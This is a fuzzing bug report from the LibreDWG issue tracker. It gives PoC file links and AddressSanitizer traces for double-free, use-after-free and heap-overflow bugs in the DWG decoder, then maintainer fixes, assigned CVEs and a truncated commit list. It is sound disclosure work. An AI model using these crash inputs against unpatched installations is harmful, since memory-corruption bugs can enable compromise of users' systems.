**5.Double-free in dwg_free (src/free.c:837)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000002%2Csig:06%2Csrc:000093%2Cop:havoc%2Crep:8
ASAN says:
```
==10100==ERROR: AddressSanitizer: attempting double-free on 0x603000000040 in thread T0:
#0 0x7f6b9a47a7b8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8)
#1 0x55b7ed1d1623 in dwg_free ../../src/free.c:837
#2 0x55b7eca06193 in main ../../programs/dwg2dxf.c:342
#3 0x7f6b99c2eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#4 0x55b7eca072e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x603000000040 is located 0 bytes inside of 32-byte region [0x603000000040,0x603000000060)
freed by thread T0 here:
#0 0x7f6b9a47a7b8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8)
#1 0x55b7ece0c199 in dwg_decode_handleref ../../src/decode.c:3689
previously allocated by thread T0 here:
#0 0x7f6b9a47ad38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55b7ece0bcbd in dwg_decode_handleref ../../src/decode.c:3669
#2 0x10effffffffff (<unknown module>)
SUMMARY: AddressSanitizer: double-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8) in __interceptor_free
==10100==ABORTING
```
---
Comment by linhlhq on 2019-12-24 03:47:41+00:00:
**6.Heap-use-after-free in resolve_objectref_vector (src/decode.c:1434)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000006%2Csig:06%2Csrc:000308%2B000975%2Cop:splice%2Crep:64
ASAN says:
```
==25001==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000058 at pc 0x55e4585b3686 bp 0x7ffc01783e70 sp 0x7ffc01783e60
READ of size 8 at 0x603000000058 thread T0
#0 0x55e4585b3685 in resolve_objectref_vector ../../src/decode.c:1434
#1 0x55e458b6fa26 in decode_R13_R2000 ../../src/decode.c:1421
#2 0x55e458b9e61a in dwg_decode ../../src/decode.c:239
#3 0x55e458540f7a in dwg_read_file ../../src/dwg.c:206
#4 0x55e45853f32d in main ../../programs/dwg2dxf.c:255
#5 0x7f0bd1d26b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55e4585402e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x603000000058 is located 24 bytes inside of 32-byte region [0x603000000040,0x603000000060)
freed by thread T0 here:
#0 0x7f0bd25727b8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8)
#1 0x55e458945199 in dwg_decode_handleref ../../src/decode.c:3689
previously allocated by thread T0 here:
#0 0x7f0bd2572d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55e458944cbd in dwg_decode_handleref ../../src/decode.c:3669
#2 0x10effffffffff (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free ../../src/decode.c:1434 in resolve_objectref_vector
Shadow bytes around the buggy address:
0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd[fd]fa fa 00 00
0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa 00 00 00 02
0x0c067fff8030: fa fa 00 00 00 02 fa fa 00 00 00 03 fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==25001==ABORTING
```
---
Comment by linhlhq on 2019-12-24 03:48:07+00:00:
**7.Heap-buffer-overflow in decode_R13_R2000 (src/decode.c:1315)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000007%2Csig:06%2Csrc:000316%2B000377%2Cop:splice%2Crep:128
ASAN says:
```
==17430==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000001b0 at pc 0x5647424fb76d bp 0x7ffdbd213570 sp 0x7ffdbd213560
READ of size 8 at 0x6130000001b0 thread T0
#0 0x5647424fb76c in decode_R13_R2000 ../../src/decode.c:1315
#1 0x56474251561a in dwg_decode ../../src/decode.c:239
#2 0x564741eb7f7a in dwg_read_file ../../src/dwg.c:206
#3 0x564741eb632d in main ../../programs/dwg2dxf.c:255
#4 0x7f94848bcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#5 0x564741eb72e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x6130000001b0 is located 8 bytes to the right of 360-byte region [0x613000000040,0x6130000001a8)
allocated by thread T0 here:
#0 0x7f9485108d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x5647424dea59 in decode_R13_R2000 ../../src/decode.c:861
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/decode.c:1315 in decode_R13_R2000
Shadow bytes around the buggy address:
0x0c267fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c267fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff8030: 00 00 00 00 00 fa[fa]fa fa fa fa fa fa fa fa fa
0x0c267fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17430==ABORTING
```
---
Comment by linhlhq on 2019-12-24 03:48:30+00:00:
**8.Crafted input will lead to Memory allocation failed in decode_preR13_section (src/decode.c:315)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000008%2Csig:06%2Csrc:000768%2B000486%2Cop:splice%2Crep:128
ASAN says:
```
==30021==ERROR: AddressSanitizer failed to allocate 0x1138003000 (73953980416) bytes of LargeMmapAllocator (error code: 12)
==30021==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x555c6a254000-0x555c6b748000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x555c6b948000-0x555c6b960000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x555c6b960000-0x555c6ba44000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
....
0x7f552f888000-0x7f552f88f000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f552f88f000-0x7f552fa8e000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f552fa8e000-0x7f552fa8f000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f552fa8f000-0x7f552fa90000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f552fa90000-0x7f552fa93000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f552fa93000-0x7f552fc92000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f552fc92000-0x7f552fc93000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f552fc93000-0x7f552fc94000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f552fc94000-0x7f552fe7b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f552fe7b000-0x7f553007b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f553007b000-0x7f553007f000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f553007f000-0x7f5530081000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f5530081000-0x7f5530085000
0x7f5530085000-0x7f5530222000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f5530222000-0x7f5530421000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f5530421000-0x7f5530422000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f5530422000-0x7f5530423000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f5530423000-0x7f5530573000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f5530573000-0x7f5530773000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f5530773000-0x7f5530776000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f5530776000-0x7f5530779000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f5530779000-0x7f55313de000
0x7f55313de000-0x7f5531405000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f5531471000-0x7f55315fb000
0x7f55315fb000-0x7f5531605000
0x7f5531605000-0x7f5531606000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f5531606000-0x7f5531607000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f5531607000-0x7f5531608000
0x7fff8fdef000-0x7fff8fe10000 [stack]
0x7fff8fea3000-0x7fff8fea6000 [vvar]
0x7fff8fea6000-0x7fff8fea8000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==30021==End of process memory map.
==30021==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7f553050cc02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7f553052b595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7f5530516492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7f55305228a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7f553044f8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7f5530501f07 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef07)
#6 0x555c6a380d1f in decode_preR13_section ../../src/decode.c:315
#7 0x555c6a9fadca in decode_preR13 ../../src/decode.c:708
#8 0x555c6ac9634f in dwg_decode ../../src/decode.c:235
#9 0x555c6a638f7a in dwg_read_file ../../src/dwg.c:206
#10 0x555c6a63732d in main ../../programs/dwg2dxf.c:255
#11 0x7f552fcb5b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#12 0x555c6a6382e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
---
Comment by linhlhq on 2019-12-24 03:48:51+00:00:
**9.Heap-buffer-overflow in decode_preR13_section (src/decode.c:350)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000024%2Csig:06%2Csrc:002283%2B001622%2Cop:splice%2Crep:64
ASAN says:
```
==31479==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000004e14 at pc 0x55713d105f18 bp 0x7ffefe359270 sp 0x7ffefe359260
WRITE of size 4 at 0x629000004e14 thread T0
#0 0x55713d105f17 in decode_preR13_section ../../src/decode.c:350
#1 0x55713d77fdca in decode_preR13 ../../src/decode.c:708
#2 0x55713da1b34f in dwg_decode ../../src/decode.c:235
#3 0x55713d3bdf7a in dwg_read_file ../../src/dwg.c:206
#4 0x55713d3bc32d in main ../../programs/dwg2dxf.c:255
#5 0x7fcb2bc53b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55713d3bd2e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x629000004e14 is located 20 bytes to the right of 19456-byte region [0x629000000200,0x629000004e00)
allocated by thread T0 here:
#0 0x7fcb2c49fb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x55713d19562d in decode_preR13_entities ../../src/decode.c:4356
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/decode.c:350 in decode_preR13_section
Shadow bytes around the buggy address:
0x0c527fff8970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff8980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff8990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff89a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff89b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c527fff89c0: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff89d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff89e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff8a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==31479==ABORTING
```
---
Comment by linhlhq on 2019-12-24 03:49:07+00:00:
**10.Heap-buffer-overflow in bit_search_sentinel (src/bits.c:1825)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000041%2Csig:06%2Csrc:003308%2Cop:havoc%2Crep:16
ASAN says:
```
==32322==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f2638fc53de at pc 0x562bfa36216a bp 0x7ffc67dcbdc0 sp 0x7ffc67dcbdb0
READ of size 1 at 0x7f2638fc53de thread T0
#0 0x562bfa362169 in bit_search_sentinel ../../src/bits.c:1825
#1 0x562bfa9264ac in decode_R13_R2000 ../../src/decode.c:1389
#2 0x562bfa95261a in dwg_decode ../../src/decode.c:239
#3 0x562bfa2f4f7a in dwg_read_file ../../src/dwg.c:206
#4 0x562bfa2f332d in main ../../programs/dwg2dxf.c:255
#5 0x7f2637792b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x562bfa2f42e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x7f2638fc53de is located 0 bytes to the right of 400350-byte region [0x7f2638f63800,0x7f2638fc53de)
allocated by thread T0 here:
#0 0x7f2637fded38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x562bfa2f4e61 in dat_read_file ../../src/dwg.c:69
#2 0x562bfa2f4e61 in dwg_read_file ../../src/dwg.c:199
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:1825 in bit_search_sentinel
Shadow bytes around the buggy address:
0x0fe5471f0a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe5471f0a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe5471f0a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe5471f0a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe5471f0a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe5471f0a70: 00 00 00 00 00 00 00 00 00 00 00[06]fa fa fa fa
0x0fe5471f0a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe5471f0a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe5471f0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe5471f0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe5471f0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==32322==ABORTING
```
---
Comment by rurban on 2019-12-24 14:02:49+00:00:
I can repro all
---
Comment by rurban on 2019-12-24 14:46:34+00:00:
I'll ignore the preR13 error (id 000008), as this code is not stable yet, and disabled in releases.
---
Comment by linhlhq on 2019-12-25 02:02:26+00:00:
Yes, when you fix all the bugs in the release I will come back.
---
Comment by rurban on 2019-12-25 08:50:29+00:00:
Done in the `smoke/fuzz` branch
---
Comment by linhlhq on 2019-12-25 10:06:25+00:00:
Did you fix all the bugs I reported above? Except for bug **8. lead to Memory allocation failed in decode_preR13_section**
---
Comment by rurban on 2019-12-25 11:04:40+00:00:
All fixed now
---
Comment by linhlhq on 2019-12-25 13:40:12+00:00:
yeah, that was awesome. Can you help me request cve for the above bugs? Thank you.
---
Comment by rurban on 2019-12-25 14:15:46+00:00:
You cannot CVE's for the preR13 bugs, because that code is disabled with releases.
---
Comment by linhlhq on 2019-12-25 15:24:54+00:00:
@rurban So are there any other bugs you can help me with? With bugs from 1 to 7 I report above.
---
Comment by attritionorg on 2019-12-25 18:54:54+00:00:
@rurban Can you cliff notes if any of them were in active code and link to the fixing commits?
---
Comment by nluedtke on 2019-12-30 15:02:10+00:00:
It appears these were assigned:
- [CVE-2019-20009](https://nvd.nist.gov/vuln/detail/CVE-2019-20009)
- [CVE-2019-20010](https://nvd.nist.gov/vuln/detail/CVE-2019-20010)
- [CVE-2019-20011](https://nvd.nist.gov/vuln/detail/CVE-2019-20011)
- [CVE-2019-20012](https://nvd.nist.gov/vuln/detail/CVE-2019-20012)
- [CVE-2019-20013](https://nvd.nist.gov/vuln/detail/CVE-2019-20013)
- [CVE-2019-20014](https://nvd.nist.gov/vuln/detail/CVE-2019-20014)
- [CVE-2019-20015](https://nvd.nist.gov/vuln/detail/CVE-2019-20015)
---
Comment by rurban on 2019-12-30 18:26:00+00:00:
Thanks, I'll have to mark them as fixed by the latest release 0.9.3
---
Comment by linhlhq on 2020-01-01 10:21:16+00:00:
@rurban Can I request cve for preR13 bugs? Or can you request for me? Thanks.
---
Comment by rurban on 2020-01-01 13:02:54+00:00:
These cannot be CVE's as this code is disabled in releases.
linhlhq <[email protected]> schrieb am Mi., 1. Jan. 2020, 11:21:
> @rurban <https://github.com/rurban> Can I request cve for preR13 bugs? Or
> can you request for me? Thanks.
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/LibreDWG/libredwg/issues/176?email_source=notifications&email_token=AAAKGUKXAWN4WBUHYJMUTPLQ3RVBZA5CNFSM4J62I26KYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEH5CARI#issuecomment-570040389>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/AAAKGULY6L3JRIK6R662AMLQ3RVBZANCNFSM4J62I26A>
> .
>
---
Comment by rurban on 2020-01-01 14:58:46+00:00:
Verified them to be fixed with 3f515d52954e2ec009a2508d3d5be04e3bcc094b (for the upcoming 0.10) also
Commit References:
3f515d52954e2ec009a2508d3d5be04e3bcc094b
================= Bug Report (2/2) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643439
## Description:
Issue: LibreDWG/libredwg#176
Title: Several bugs found by fuzzing
Referenced comment by linhlhq on 2019-12-24 03:48:07+00:00:
**7.Heap-buffer-overflow in decode_R13_R2000 (src/decode.c:1315)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000007%2Csig:06%2Csrc:000316%2B000377%2Cop:splice%2Crep:128
ASAN says:
```
==17430==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000001b0 at pc 0x5647424fb76d bp 0x7ffdbd213570 sp 0x7ffdbd213560
READ of size 8 at 0x6130000001b0 thread T0
#0 0x5647424fb76c in decode_R13_R2000 ../../src/decode.c:1315
#1 0x56474251561a in dwg_decode ../../src/decode.c:239
#2 0x564741eb7f7a in dwg_read_file ../../src/dwg.c:206
#3 0x564741eb632d in main ../../programs/dwg2dxf.c:255
#4 0x7f94848bcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#5 0x564741eb72e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x6130000001b0 is located 8 bytes to the right of 360-byte region [0x613000000040,0x6130000001a8)
allocated by thread T0 here:
#0 0x7f9485108d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x5647424dea59 in decode_R13_R2000 ../../src/decode.c:861
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/decode.c:1315 in decode_R13_R2000
Shadow bytes around the buggy address:
0x0c267fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c267fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff8030: 00 00 00 00 00 fa[fa]fa fa fa fa fa fa fa fa fa
0x0c267fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17430==ABORTING
```
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "fuzz_dwg_decode.options"
}
] |
[
{
"sha": "3f515d52954e2ec009a2508d3d5be04e3bcc094b",
"url": "https://github.com/LibreDWG/libredwg/commit/3f515d52954e2ec009a2508d3d5be04e3bcc094b"
},
{
"sha": "6c82625d94355a652c21666821f899246bfb76cf",
"url": "https://github.com/LibreDWG/libredwg/commit/6c82625d94355a652c21666821f899246bfb76cf"
},
{
"sha": "7f668ee2604067bf9f23b2c2057a4617002096fc",
"url": "https://github.com/LibreDWG/libredwg/commit/7f668ee2604067bf9f23b2c2057a4617002096fc"
},
{
"sha": "7571b567ba19bee448ba1a102c23a35274770ba2",
"url": "https://github.com/LibreDWG/libredwg/commit/7571b567ba19bee448ba1a102c23a35274770ba2"
},
{
"sha": "d4f57b9d6b2afdd703f3f0e15489e59a70169a3e",
"url": "https://github.com/LibreDWG/libredwg/commit/d4f57b9d6b2afdd703f3f0e15489e59a70169a3e"
},
{
"sha": "28af0b678d3461382217adc538fcdcfc97dc7c31",
"url": "https://github.com/LibreDWG/libredwg/commit/28af0b678d3461382217adc538fcdcfc97dc7c31"
},
{
"sha": "6b4b0bd805f80c144895b703cd10d4e7c1054891",
"url": "https://github.com/LibreDWG/libredwg/commit/6b4b0bd805f80c144895b703cd10d4e7c1054891"
},
{
"sha": "a05eb0af3d43988a991ea6a3fdc01a771aaab4b7",
"url": "https://github.com/LibreDWG/libredwg/commit/a05eb0af3d43988a991ea6a3fdc01a771aaab4b7"
},
{
"sha": "d15cab0fe5a160f7e5981363117c8cbcd5c82423",
"url": "https://github.com/LibreDWG/libredwg/commit/d15cab0fe5a160f7e5981363117c8cbcd5c82423"
},
{
"sha": "3cf9d1705ff51d6970970ca9e4911c2eab0d338b",
"url": "https://github.com/LibreDWG/libredwg/commit/3cf9d1705ff51d6970970ca9e4911c2eab0d338b"
},
{
"sha": "93c25124c191987af168ace9fe4b5623061874bd",
"url": "https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd"
},
{
"sha": "5650507fb5065c329984f19ce040fd83bd1a5298",
"url": "https://github.com/LibreDWG/libredwg/commit/5650507fb5065c329984f19ce040fd83bd1a5298"
},
{
"sha": "8e961a8ead7818b72f36bdf9eccd0d330e6ea231",
"url": "https://github.com/LibreDWG/libredwg/commit/8e961a8ead7818b72f36bdf9eccd0d330e6ea231"
},
{
"sha": "69b4132a0591b81fddd30588a67c79fc01e69c52",
"url": "https://github.com/LibreDWG/libredwg/commit/69b4132a0591b81fddd30588a67c79fc01e69c52"
},
{
"sha": "0075d173dbb015b72ed779d6ec7ca016841972f3",
"url": "https://github.com/LibreDWG/libredwg/commit/0075d173dbb015b72ed779d6ec7ca016841972f3"
},
{
"sha": "84d938b1d28d514eead8fdc21e7eec4fdfe053f5",
"url": "https://github.com/LibreDWG/libredwg/commit/84d938b1d28d514eead8fdc21e7eec4fdfe053f5"
},
{
"sha": "3d32e491b912cce17c6b8080b32872b1c11472c3",
"url": "https://github.com/LibreDWG/libredwg/commit/3d32e491b912cce17c6b8080b32872b1c11472c3"
},
{
"sha": "07470ca096ff1587fe3b9a57b8366cfcc043d131",
"url": "https://github.com/LibreDWG/libredwg/commit/07470ca096ff1587fe3b9a57b8366cfcc043d131"
},
{
"sha": "e685e689d05d4b7da9a61e9d0868a65db4f82469",
"url": "https://github.com/LibreDWG/libredwg/commit/e685e689d05d4b7da9a61e9d0868a65db4f82469"
},
{
"sha": "97cc629fbea0d8d81b33ce382214578f3379de09",
"url": "https://github.com/LibreDWG/libredwg/commit/97cc629fbea0d8d81b33ce382214578f3379de09"
},
{
"sha": "529decd91126d9a436ce2d0a84434ed7899be507",
"url": "https://github.com/LibreDWG/libredwg/commit/529decd91126d9a436ce2d0a84434ed7899be507"
},
{
"sha": "8e14a3ee22cc1f96b638ee36c1aba3bbea314687",
"url": "https://github.com/LibreDWG/libredwg/commit/8e14a3ee22cc1f96b638ee36c1aba3bbea314687"
},
{
"sha": "496702e3c2486adae863fd919f20e7a7490c847c",
"url": "https://github.com/LibreDWG/libredwg/commit/496702e3c2486adae863fd919f20e7a7490c847c"
},
{
"sha": "8a75ac27367343e531dd7ee1b61db70edf2e816a",
"url": "https://github.com/LibreDWG/libredwg/commit/8a75ac27367343e531dd7ee1b61db70edf2e816a"
},
{
"sha": "07c078aca71840f0f9a0dffb3032056d043858b0",
"url": "https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0"
},
{
"sha": "12dafc13a96cdaa019f95a6ca245e8b29d1763a5",
"url": "https://github.com/LibreDWG/libredwg/commit/12dafc13a96cdaa019f95a6ca245e8b29d1763a5"
},
{
"sha": "e03b16b603c566c317f7c5161cc7550360081dd0",
"url": "https://github.com/LibreDWG/libredwg/commit/e03b16b603c566c317f7c5161cc7550360081dd0"
},
{
"sha": "92feac9b0dcfe3193d479fc245f95a8d025db4d7",
"url": "https://github.com/LibreDWG/libredwg/commit/92feac9b0dcfe3193d479fc245f95a8d025db4d7"
},
{
"sha": "3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a",
"url": "https://github.com/LibreDWG/libredwg/commit/3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a"
},
{
"sha": "14a3ffe26d4bcd267c42471caebaf21185c16a4c",
"url": "https://github.com/LibreDWG/libredwg/commit/14a3ffe26d4bcd267c42471caebaf21185c16a4c"
},
{
